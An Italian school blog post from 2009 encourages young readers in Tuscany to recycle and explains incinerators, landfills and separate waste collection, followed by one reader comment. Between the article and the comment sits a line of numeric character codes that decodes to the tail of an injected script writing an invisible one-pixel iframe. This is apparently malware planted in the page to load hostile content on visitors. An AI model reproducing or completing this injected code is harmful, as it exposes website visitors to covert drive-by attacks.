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Inserito in articoli da alice - nov 20 2009 -

EHI RAGAZZI LO SAPEVATE  CHE …Per risolvere i delicati  e complessi problemi dell’ ambiente non basta dimostrare ogni tanto la buona volontà.

La regione Toscana sta cercando di attuare una politica ambientale “integrata”, cioè capace di coinvolgere tutti. Il cammino da seguire è ancora lungo ma la strada intrapresa è quella giusta, riusciremo a raggiungere il nostro obbiettivo solo se tutti collaboreranno e si assumeranno le proprie responsabilità.
E noi ragazzi siamo la parte più importante di questa catena.

A nessuno piace essere sommerso dall’ immondizia ma è proprio quello che accade ogni giorno al nostro pianeta; in Toscana se ne producono circa 2,5 milioni di tonnellate all’ anno. Immagina grandi torri di rifiuti, fantascienza?!? Mica tanto, gli esseri umani sono le uniche creature in grado di produrre rifiuti che la natura non è in grado di smaltire da sola, ma in qualche modo essi vanno gestiti. Un tempo i rifiuti, si gettavano un po’ dove capitava: in mare o in luoghi appena fuori dalla città, dove si decomponevano inquinando acqua, terra, sorgenti. Il fuoco è un altro antico modo per liberarsi dell’ immondizia,  ma attenzione: bruciarli senza controllo è molto pericoloso. Un metodo apparentemente efficace è quello di scavare buche e gettarci l’ immondizia, ma i materiali inquinanti filtrano nel terreno avvelenandolo.

In Italia la gestione dei rifiuti si basa su:
- termovalorizzatore
che è un impianto dove il calore, ottenuto dalla combustione dei rifiuti, viene recuperato e trasformato in energia destinata al fabbisogno dei cittadini;
- discarica
che è il luogo dove si conservano i rifiuti che non sono stati differenziati e quelli impossibili da riciclare o recuperare;
- la raccolta differenziata e successivamente il riciclo.
Riciclo vuol dire ricavare, con processi industriali, dei materiali per fabbricare nuovi oggetti, senza estrarre o usare nuove materie prime e diminuendo i rifiuti destinati allo smaltimento.

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La regione Toscana è divisa in tre Comunità di Ambito Territoriale Ottimali, ognuna delle quali è stata costituita per organizzare al meglio la gestione dei propri rifiuti urbani. Ogni impianto contribuisce alla gestione in sicurezza dei rifiuti.

L’ immondizia “ non indifferenziata” è quella contenuta nei cassonetti per i rifiuti indifferenziati, ma non vuol dire che sia solo “spazzatura”. Dopo essere stata portata in appositi centri, infatti da essa vengono selezionati parti riciclabili o da destinare dal recupero energetico.

Inoltre vanno divisi dagli altri rifiuti anche: le pile, i farmaci e il toner.

La plastica è sicuramente uno dei materiale più difficile da riciclare. I materiali plastici sono di tanti tipi uno di questi è la plastica eterogenea, meno pregiata, fatta con più tipi di plastiche.

La Germania è uno dei paesi, europei, da prendere come esempio con una percentuale di riciclo pari al 46%. L’ Italia è a metà nella classifica dei Paesi virtuosi.

FORZA CHE STAI ASPETTANDO FAI LA RACCOLTA DIFFERENZIATA!!!!!!

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104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

1 commento »

  1. Speriamo che finalmente le persone capiscano l’importanza della raccolta differenziata…

    Commento by Alice — 21 novembre 2009 @ 20:41

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